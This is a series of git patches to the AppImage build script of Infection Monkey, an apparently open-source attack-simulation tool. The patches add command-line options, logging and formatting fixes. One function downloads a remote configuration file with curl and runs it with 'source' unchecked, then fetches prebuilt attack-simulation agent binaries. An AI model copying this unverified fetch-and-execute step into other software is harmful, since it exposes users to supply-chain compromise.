binary config if downloading agent binaries --- appimage/build_appimage.sh | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index e39a854541c..696c35fb267 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -3,7 +3,6 @@ WORKSPACE=${WORKSPACE:-$HOME} APPDIR="$PWD/squashfs-root" -CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" INSTALL_DIR="$APPDIR/usr/src" GIT=$WORKSPACE/git @@ -15,6 +14,8 @@ ISLAND_PATH="$INSTALL_DIR/monkey_island" MONGO_PATH="$ISLAND_PATH/bin/mongodb" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" +MONKEY_ORIGIN_URL="https://github.com/guardicore/monkey.git" +CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" NODE_SRC=https://deb.nodesource.com/setup_12.x APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage PYTHON_VERSION="3.7.10" @@ -66,16 +67,6 @@ install_appimage_tool() { PATH=$PATH:$WORKSPACE/bin } -load_monkey_binary_config() { - tmpfile=$(mktemp) - - log_message "downloading configuration" - curl -L -s -o "$tmpfile" "$CONFIG_URL" - - log_message "loading configuration" - source "$tmpfile" -} - clone_monkey_repo() { if [[ ! -d ${GIT} ]]; then mkdir -p "${GIT}" @@ -83,7 +74,7 @@ clone_monkey_repo() { log_message "Cloning files from git" branch=${1:-"develop"} - git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error + git clone --single-branch --recurse-submodules -b "$branch" "$MONKEY_ORIGIN_URL" "$REPO_MONKEY_HOME" 2>&1 || handle_error } setup_appdir() { @@ -152,7 +143,10 @@ generate_requirements_from_pipenv_lock () { } download_monkey_agent_binaries() { -log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" + log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" + + load_monkey_binary_config + mkdir -p "${ISLAND_BINARIES_PATH}" || handle_error curl -L -o "${ISLAND_BINARIES_PATH}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}" curl -L -o "${ISLAND_BINARIES_PATH}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" @@ -164,6 +158,16 @@ log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" } +load_monkey_binary_config() { + tmpfile=$(mktemp) + + log_message "Downloading prebuilt binary configuration" + curl -L -s -o "$tmpfile" "$CONFIG_URL" + + log_message "Loading configuration" + source "$tmpfile" +} + install_mongodb() { log_message "Installing MongoDB" @@ -233,7 +237,6 @@ fi install_build_prereqs install_appimage_tool -load_monkey_binary_config clone_monkey_repo "$@" setup_appdir From 68759e39702ecebe509d3cca294eae5144bdca81 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 12:54:49 -0400 Subject: [PATCH 0323/1360] appimage: Make spacing consistent --- appimage/build_appimage.sh | 76 +++++++++++++++++++------------------- 1 file changed, 38 insertions(+), 38 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 696c35fb267..9a3d56de32d 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -49,22 +49,22 @@ install_nodejs() { } install_build_prereqs() { - sudo apt update - sudo apt upgrade -y + sudo apt update + sudo apt upgrade -y - # monkey island prereqs - sudo apt install -y curl libcurl4 openssl git build-essential moreutils - install_nodejs + # monkey island prereqs + sudo apt install -y curl libcurl4 openssl git build-essential moreutils + install_nodejs } install_appimage_tool() { - APP_TOOL_BIN=$WORKSPACE/bin/appimagetool + APP_TOOL_BIN=$WORKSPACE/bin/appimagetool - mkdir -p "$WORKSPACE"/bin - curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" - chmod u+x "$APP_TOOL_BIN" + mkdir -p "$WORKSPACE"/bin + curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" + chmod u+x "$APP_TOOL_BIN" - PATH=$PATH:$WORKSPACE/bin + PATH=$PATH:$WORKSPACE/bin } clone_monkey_repo() { @@ -78,34 +78,34 @@ clone_monkey_repo() { } setup_appdir() { - setup_python_37_appdir + setup_python_37_appdir - copy_monkey_island_to_appdir - download_monkey_agent_binaries + copy_monkey_island_to_appdir + download_monkey_agent_binaries - install_monkey_island_python_dependencies - install_mongodb + install_monkey_island_python_dependencies + install_mongodb - generate_ssl_cert - build_frontend + generate_ssl_cert + build_frontend - add_monkey_icon - add_desktop_file - add_apprun + add_monkey_icon + add_desktop_file + add_apprun } setup_python_37_appdir() { - PYTHON_APPIMAGE="python${PYTHON_VERSION}_x86_64.AppImage" - rm -rf "$APPDIR" || true + PYTHON_APPIMAGE="python${PYTHON_VERSION}_x86_64.AppImage" + rm -rf "$APPDIR" || true - log_message "downloading Python3.7 Appimage" - curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" + log_message "downloading Python3.7 Appimage" + curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" - chmod u+x "$PYTHON_APPIMAGE" + chmod u+x "$PYTHON_APPIMAGE" - ./"$PYTHON_APPIMAGE" --appimage-extract - rm "$PYTHON_APPIMAGE" - mkdir -p "$INSTALL_DIR" + ./"$PYTHON_APPIMAGE" --appimage-extract + rm "$PYTHON_APPIMAGE" + mkdir -p "$INSTALL_DIR" } copy_monkey_island_to_appdir() { @@ -201,25 +201,25 @@ remove_node_modules() { } add_monkey_icon() { - unlink "$APPDIR"/python.png - mkdir -p "$APPDIR"/usr/share/icons - cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/infection-monkey.svg - ln -s "$APPDIR"/usr/share/icons/infection-monkey.svg "$APPDIR"/infection-monkey.svg + unlink "$APPDIR"/python.png + mkdir -p "$APPDIR"/usr/share/icons + cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/infection-monkey.svg + ln -s "$APPDIR"/usr/share/icons/infection-monkey.svg "$APPDIR"/infection-monkey.svg } add_desktop_file() { - unlink "$APPDIR/python${PYTHON_VERSION}.desktop" - cp ./infection-monkey.desktop "$APPDIR"/usr/share/applications - ln -s "$APPDIR"/usr/share/applications/infection-monkey.desktop "$APPDIR"/infection-monkey.desktop + unlink "$APPDIR/python${PYTHON_VERSION}.desktop" + cp ./infection-monkey.desktop "$APPDIR"/usr/share/applications + ln -s "$APPDIR"/usr/share/applications/infection-monkey.desktop "$APPDIR"/infection-monkey.desktop } add_apprun() { - cp ./AppRun "$APPDIR" + cp ./AppRun "$APPDIR" } build_appimage() { - log_message "Building AppImage" - ARCH="x86_64" appimagetool "$APPDIR" + log_message "Building AppImage" + ARCH="x86_64" appimagetool "$APPDIR" } if is_root; then From 8cb47ce3e7c6cbe362efa0e6c54faa0fbb0379a1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 13:22:04 -0400 Subject: [PATCH 0324/1360] appimage: Add cli parameter for specifying the package version --- appimage/README.md | 2 +- appimage/build_appimage.sh | 22 +++++++++++++++++++++- appimage/clean.sh | 2 +- 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/appimage/README.md b/appimage/README.md index 95ff4d42df5..dfa4731a0d1 100644 --- a/appimage/README.md +++ b/appimage/README.md @@ -20,7 +20,7 @@ remove build artifacts by removing the following files and directories. - $HOME/.monkey_island (optional) - $HOME/appimage/squashfs-root - $HOME/git/monkey -- $HOME/appimage/Infection_Monkey-x86_64.AppImage +- $HOME/appimage/Infection_Monkey*x86_64.AppImage After removing the above files and directories, you can again execute `bash build_appimage.sh`. diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 9a3d56de32d..dcda9ddb015 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -220,6 +220,11 @@ add_apprun() { build_appimage() { log_message "Building AppImage" ARCH="x86_64" appimagetool "$APPDIR" + apply_version_to_appimage "$1" +} + +apply_version_to_appimage() { + mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" } if is_root; then @@ -233,6 +238,21 @@ Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi +monkey_version="dev" + +while (( "$#" )); do +case "$1" in + --version) + if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then + monkey_version=$2 + shift 2 + else + echo "Error: Argument for $1 is missing" >&2 + exit 1 + fi + esac +done + install_build_prereqs install_appimage_tool @@ -241,7 +261,7 @@ clone_monkey_repo "$@" setup_appdir -build_appimage +build_appimage "$monkey_version" log_message "Deployment script finished." exit 0 diff --git a/appimage/clean.sh b/appimage/clean.sh index 5e2fd443a06..f48837d37c3 100755 --- a/appimage/clean.sh +++ b/appimage/clean.sh @@ -6,4 +6,4 @@ rm -rf "$HOME/.monkey_island" rm -rf "$HOME/appimage/squashfs-root" rm -rf "$HOME/git/monkey" -rm "$HOME/appimage/Infection_Monkey-x86_64.AppImage" +rm $HOME/appimage/Infection_Monkey*x86_64.AppImage From 2856b85616812ddc80dbee3c7c4c309303ab4a1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 13:48:19 -0400 Subject: [PATCH 0325/1360] appimage: Add cli parameter for specifying which agent binaries to include --- appimage/build_appimage.sh | 44 +++++++++++++++++++++++++++++++------- 1 file changed, 36 insertions(+), 8 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index dcda9ddb015..56752d64d4a 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -21,6 +21,11 @@ APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appima PYTHON_VERSION="3.7.10" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" +missing_argument() { + echo "Error: Argument for $1 is missing" >&2 + exit 1 +} + is_root() { return "$(id -u)" } @@ -81,7 +86,7 @@ setup_appdir() { setup_python_37_appdir copy_monkey_island_to_appdir - download_monkey_agent_binaries + add_agent_binaries_to_appdir $1 install_monkey_island_python_dependencies install_mongodb @@ -142,7 +147,17 @@ generate_requirements_from_pipenv_lock () { cd - } -download_monkey_agent_binaries() { +add_agent_binaries_to_appdir() { + if [ -z "$1" ]; then + download_monkey_agent_binaries_to_appdir + else + copy_agent_binaries_to_appdir $1 + fi + + make_linux_binaries_executable +} + +download_monkey_agent_binaries_to_appdir() { log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" load_monkey_binary_config @@ -152,10 +167,14 @@ download_monkey_agent_binaries() { curl -L -o "${ISLAND_BINARIES_PATH}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" curl -L -o "${ISLAND_BINARIES_PATH}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}" curl -L -o "${ISLAND_BINARIES_PATH}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}" +} + +copy_agent_binaries_to_appdir() { + cp "$1"/* "$ISLAND_BINARIES_PATH/" +} - # Allow them to be executed - chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" - chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" +make_linux_binaries_executable() { + chmod a+x "$ISLAND_BINARIES_PATH"/monkey-linux-* } load_monkey_binary_config() { @@ -239,6 +258,7 @@ Run \`sudo -v\`, enter your password, and then re-run this script." fi monkey_version="dev" +agent_binary_dir="" while (( "$#" )); do case "$1" in @@ -247,9 +267,17 @@ case "$1" in monkey_version=$2 shift 2 else - echo "Error: Argument for $1 is missing" >&2 - exit 1 + missing_argument "$1" + fi + ;; + --agent-binary-dir) + if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then + agent_binary_dir=$2 + shift 2 + else + missing_argument "$1" fi + ;; esac done @@ -259,7 +287,7 @@ install_appimage_tool clone_monkey_repo "$@" -setup_appdir +setup_appdir "$agent_binary_dir" build_appimage "$monkey_version" From e58281b0f0089a33a1e4410bed925efaccbed49a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 13:58:30 -0400 Subject: [PATCH 0326/1360] appimage: Use npm-ci instead of npm-install --- appimage/build_appimage.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 56752d64d4a..5c3c361bd5a 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -203,11 +203,11 @@ generate_ssl_cert() { build_frontend() { pushd "$ISLAND_PATH/cc/ui" || handle_error - npm install sass-loader node-sass webpack --save-dev - npm update log_message "Generating front end" + npm ci npm run dist + popd || handle_error remove_node_modules From 9c11f239ce96711e52d1f86611ca96fc64a530b7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 14:40:52 -0400 Subject: [PATCH 0327/1360] appimage: Add a cli parameter for for specifying a git branch --- appimage/build_appimage.sh | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 5c3c361bd5a..b77c8fc9673 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -78,8 +78,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${1:-"develop"} - git clone --single-branch --recurse-submodules -b "$branch" "$MONKEY_ORIGIN_URL" "$REPO_MONKEY_HOME" 2>&1 || handle_error + git clone --single-branch --recurse-submodules -b "$1" "$MONKEY_ORIGIN_URL" "$REPO_MONKEY_HOME" 2>&1 || handle_error } setup_appdir() { @@ -259,6 +258,7 @@ fi monkey_version="dev" agent_binary_dir="" +branch="develop" while (( "$#" )); do case "$1" in @@ -278,6 +278,13 @@ case "$1" in missing_argument "$1" fi ;; + --branch) + if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then + branch=$2 + shift 2 + else + missing_argument "$1" + fi esac done @@ -285,7 +292,7 @@ done install_build_prereqs install_appimage_tool -clone_monkey_repo "$@" +clone_monkey_repo "$branch" setup_appdir "$agent_binary_dir" From 280b1e280a7640e273d88452aa49aef9a836f284 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 14:49:51 -0400 Subject: [PATCH 0328/1360] appimage: Put cli parameters in alphabetical order --- appimage/build_appimage.sh | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index b77c8fc9673..d2f9a64482a 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -262,29 +262,30 @@ branch="develop" while (( "$#" )); do case "$1" in - --version) + --agent-binary-dir) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - monkey_version=$2 + agent_binary_dir=$2 shift 2 else missing_argument "$1" fi ;; - --agent-binary-dir) + --branch) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - agent_binary_dir=$2 + branch=$2 shift 2 else missing_argument "$1" fi - ;; - --branch) + ;; + --version) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - branch=$2 + monkey_version=$2 shift 2 else missing_argument "$1" fi + ;; esac done From fe25cd257ff8ffb3c202cac6527731ab11832ccc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 15:17:02 -0400 Subject: [PATCH 0329/1360] appimage: Add cli parameter to specify local monkey repo dir --- appimage/build_appimage.sh | 55 +++++++++++++++++++++++++++----------- 1 file changed, 40 insertions(+), 15 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index d2f9a64482a..849face15a7 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -7,8 +7,7 @@ INSTALL_DIR="$APPDIR/usr/src" GIT=$WORKSPACE/git -REPO_MONKEY_HOME=$GIT/monkey -REPO_MONKEY_SRC=$REPO_MONKEY_HOME/monkey +DEFAULT_REPO_MONKEY_HOME=$GIT/monkey ISLAND_PATH="$INSTALL_DIR/monkey_island" MONGO_PATH="$ISLAND_PATH/bin/mongodb" @@ -72,20 +71,35 @@ install_appimage_tool() { PATH=$PATH:$WORKSPACE/bin } +is_valid_git_repo() { + pushd "$1" 2>/dev/null || return 1 + git status >/dev/null 2>&1 + success="$?" + popd || exit 1 + + return $success +} + clone_monkey_repo() { - if [[ ! -d ${GIT} ]]; then - mkdir -p "${GIT}" + local repo_dir=$1 + local branch=$2 + + if [[ ! -d "$repo_dir" ]]; then + mkdir -p "$repo_dir" fi log_message "Cloning files from git" - git clone --single-branch --recurse-submodules -b "$1" "$MONKEY_ORIGIN_URL" "$REPO_MONKEY_HOME" 2>&1 || handle_error + git clone --single-branch --recurse-submodules -b "$branch" "$MONKEY_ORIGIN_URL" "$repo_dir" 2>&1 || handle_error } setup_appdir() { + local agent_binary_dir=$1 + local monkey_repo=$2 + setup_python_37_appdir - copy_monkey_island_to_appdir - add_agent_binaries_to_appdir $1 + copy_monkey_island_to_appdir "$monkey_repo"/monkey + add_agent_binaries_to_appdir "$agent_binary_dir" install_monkey_island_python_dependencies install_mongodb @@ -93,7 +107,7 @@ setup_appdir() { generate_ssl_cert build_frontend - add_monkey_icon + add_monkey_icon "$monkey_repo"/monkey add_desktop_file add_apprun } @@ -113,10 +127,10 @@ setup_python_37_appdir() { } copy_monkey_island_to_appdir() { - cp "$REPO_MONKEY_SRC"/__init__.py "$INSTALL_DIR" - cp "$REPO_MONKEY_SRC"/monkey_island.py "$INSTALL_DIR" - cp -r "$REPO_MONKEY_SRC"/common "$INSTALL_DIR/" - cp -r "$REPO_MONKEY_SRC"/monkey_island "$INSTALL_DIR/" + cp "$1"/__init__.py "$INSTALL_DIR" + cp "$1"/monkey_island.py "$INSTALL_DIR" + cp -r "$1"/common "$INSTALL_DIR/" + cp -r "$1"/monkey_island "$INSTALL_DIR/" cp ./run_appimage.sh "$INSTALL_DIR"/monkey_island/linux/ cp ./island_logger_config.json "$INSTALL_DIR"/ cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/ @@ -221,7 +235,7 @@ remove_node_modules() { add_monkey_icon() { unlink "$APPDIR"/python.png mkdir -p "$APPDIR"/usr/share/icons - cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/infection-monkey.svg + cp "$1"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/infection-monkey.svg ln -s "$APPDIR"/usr/share/icons/infection-monkey.svg "$APPDIR"/infection-monkey.svg } @@ -256,6 +270,7 @@ Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi +monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" agent_binary_dir="" branch="develop" @@ -278,6 +293,14 @@ case "$1" in missing_argument "$1" fi ;; + --monkey-repo) + if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then + monkey_repo=$2 + shift 2 + else + missing_argument "$1" + fi + ;; --version) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then monkey_version=$2 @@ -293,9 +316,11 @@ done install_build_prereqs install_appimage_tool -clone_monkey_repo "$branch" +if ! is_valid_git_repo "$monkey_repo"; then + clone_monkey_repo "$monkey_repo" "$branch" +fi -setup_appdir "$agent_binary_dir" +setup_appdir "$agent_binary_dir" "$monkey_repo" build_appimage "$monkey_version" From f91a52f0c0b9e55f113577b44398e35acd2f5049 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 15:19:29 -0400 Subject: [PATCH 0330/1360] appimage: Exit with error if unsupported parameters are passed --- appimage/build_appimage.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 849face15a7..8f9f6b32acd 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -309,6 +309,9 @@ case "$1" in missing_argument "$1" fi ;; + -*) + echo "Error: Unsupported parameter $1" >&2 + exit 1 esac done From d53ba0e88112c77159085d555467b5e9df67e90e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 15:39:17 -0400 Subject: [PATCH 0331/1360] appimage: Add --help --- appimage/build_appimage.sh | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 8f9f6b32acd..9358a12be95 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -25,6 +25,34 @@ missing_argument() { exit 1 } +echo_help() { + echo "usage: build_appimage.sh [--help] [--agent-binary-dir ] [--branch ]" + echo " [--monkey-repo ] [--version ]" + echo "" + echo "Creates an AppImage package for Infection Monkey." + echo "" + echo "--agent-binary-dir A directory containing the agent binaries that" + echo " you'd like to include with the AppImage. If this" + echo " parameter is unspecified, the latest release" + echo " binaries will be downloaded from GitHub." + echo "" + echo "--branch The git branch you'd like the AppImage to be" + echo " built from. (Default: develop)" + echo "" + echo "--monkey-repo A directory containing the Infection Monkey git" + echo " repository. If the directory is empty or does" + echo " not exist, a new repo will be cloned from GitHub." + echo " If the directory is already a valid GitHub repo," + echo " it will be used as-is and the --branch parameter" + echo " will have no effect." + echo " (Default: $DEFAULT_REPO_MONKEY_HOME)" + echo "" + echo "--version A version number for the AppImage package." + echo " (Default: dev)" + + exit 0 +} + is_root() { return "$(id -u)" } @@ -293,6 +321,9 @@ case "$1" in missing_argument "$1" fi ;; + -h|--help) + echo_help + ;; --monkey-repo) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then monkey_repo=$2 @@ -312,6 +343,7 @@ case "$1" in -*) echo "Error: Unsupported parameter $1" >&2 exit 1 + ;; esac done From febad65ff924eadeee9ff21f485c79247385d81e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 15:40:38 -0400 Subject: [PATCH 0332/1360] appimage: Perform root checks after parsing args --- appimage/build_appimage.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 9358a12be95..f368ac7ea0e 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -287,17 +287,6 @@ apply_version_to_appimage() { mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" } -if is_root; then - log_message "Please don't run this script as root" - exit 1 -fi - -if ! has_sudo; then - log_message "You need root permissions for some of this script operations. \ -Run \`sudo -v\`, enter your password, and then re-run this script." - exit 1 -fi - monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" agent_binary_dir="" @@ -347,6 +336,17 @@ case "$1" in esac done +if is_root; then + log_message "Please don't run this script as root" + exit 1 +fi + +if ! has_sudo; then + log_message "You need root permissions for some of this script operations. \ +Run \`sudo -v\`, enter your password, and then re-run this script." + exit 1 +fi + install_build_prereqs install_appimage_tool From ebd2fddd79f28f32870b4a5076f67cd28231d0a3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 07:36:18 -0400 Subject: [PATCH 0333/1360] appimage: Add --as-root flag --- appimage/build_appimage.sh | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index f368ac7ea0e..f0b299da3ae 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -36,6 +36,9 @@ echo_help() { echo " parameter is unspecified, the latest release" echo " binaries will be downloaded from GitHub." echo "" + echo "--as-root Throw caution to the wind and allow this script" + echo " to be run as root." + echo "" echo "--branch The git branch you'd like the AppImage to be" echo " built from. (Default: develop)" echo "" @@ -287,6 +290,7 @@ apply_version_to_appimage() { mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" } +as_root=false monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" agent_binary_dir="" @@ -302,7 +306,11 @@ case "$1" in missing_argument "$1" fi ;; - --branch) + --as-root) + as_root=true + shift + ;; + --branch) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then branch=$2 shift 2 @@ -336,7 +344,7 @@ case "$1" in esac done -if is_root; then +if ! $as_root && is_root; then log_message "Please don't run this script as root" exit 1 fi From 7ab7e56b4c64040be601096e2c4a9e2cd6743025 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 07:40:05 -0400 Subject: [PATCH 0334/1360] appimage: Replace `apt` with `apt-get` --- appimage/build_appimage.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index f0b299da3ae..e48d22617ae 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -84,11 +84,11 @@ install_nodejs() { } install_build_prereqs() { - sudo apt update - sudo apt upgrade -y + sudo apt-get update + sudo apt-get upgrade -y # monkey island prereqs - sudo apt install -y curl libcurl4 openssl git build-essential moreutils + sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils install_nodejs } From 9f150bb51a304d9214f01471962a1dafd9eef8fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 07:49:28 -0400 Subject: [PATCH 0335/1360] appimage: Remove references to deployment scripts in logging --- appimage/build_appimage.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index e48d22617ae..01c7dba446a 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -73,7 +73,7 @@ handle_error() { log_message() { echo -e "\n\n" - echo -e "DEPLOYMENT SCRIPT: $1" + echo -e "APPIMAGE BUILDER: $1" } install_nodejs() { @@ -344,6 +344,8 @@ case "$1" in esac done +log_message "Building Monkey Island AppImage package." + if ! $as_root && is_root; then log_message "Please don't run this script as root" exit 1 @@ -367,5 +369,5 @@ setup_appdir "$agent_binary_dir" "$monkey_repo" build_appimage "$monkey_version" -log_message "Deployment script finished." +log_message "AppImage build script finished." exit 0 From f87514cbbf816eb7a4536b48cc630e3bd1fe75ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 08:18:55 -0400 Subject: [PATCH 0336/1360] appimage: Add a few log messages --- appimage/build_appimage.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 01c7dba446a..daac6e3a21d 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -93,6 +93,7 @@ install_build_prereqs() { } install_appimage_tool() { + log_message "Installing appimagetool" APP_TOOL_BIN=$WORKSPACE/bin/appimagetool mkdir -p "$WORKSPACE"/bin @@ -287,6 +288,7 @@ build_appimage() { } apply_version_to_appimage() { + log_message "Renaming Infection_Monkey-x86_64.AppImage -> Infection_Monkey-$1-x86_64.AppImage" mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" } From c61b551545782ebd84b803f90528dc69f7155256 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 10:12:24 -0400 Subject: [PATCH 0337/1360] appimage: Address minor shellcheck findings --- appimage/build_appimage.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index daac6e3a21d..9520bbbc7da 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -179,7 +179,7 @@ install_monkey_island_python_dependencies() { "$APPDIR"/AppRun -m pip install pipenv || handle_error requirements_island="$ISLAND_PATH/requirements.txt" - generate_requirements_from_pipenv_lock $requirements_island + generate_requirements_from_pipenv_lock "$requirements_island" log_message "Installing island python requirements" "$APPDIR"/AppRun -m pip install -r "${requirements_island}" --ignore-installed || handle_error @@ -187,16 +187,16 @@ install_monkey_island_python_dependencies() { generate_requirements_from_pipenv_lock () { log_message "Generating a requirements.txt file with 'pipenv lock -r'" - cd $ISLAND_PATH + cd "$ISLAND_PATH" || exit 1 "$APPDIR"/AppRun -m pipenv --python "$APPDIR/AppRun" lock -r > "$1" || handle_error - cd - + cd - || exit 1 } add_agent_binaries_to_appdir() { if [ -z "$1" ]; then download_monkey_agent_binaries_to_appdir else - copy_agent_binaries_to_appdir $1 + copy_agent_binaries_to_appdir "$1" fi make_linux_binaries_executable From 0192e089002786abf3b59b2c4957e2adde5b2c38 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 10:15:27 -0400 Subject: [PATCH 0338/1360] appimage: Replace some tabs with spaces --- appimage/build_appimage.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 9520bbbc7da..1244921f0a0 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -309,9 +309,9 @@ case "$1" in fi ;; --as-root) - as_root=true - shift - ;; + as_root=true + shift + ;; --branch) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then branch=$2 @@ -319,10 +319,10 @@ case "$1" in else missing_argument "$1" fi - ;; + ;; -h|--help) - echo_help - ;; + echo_help + 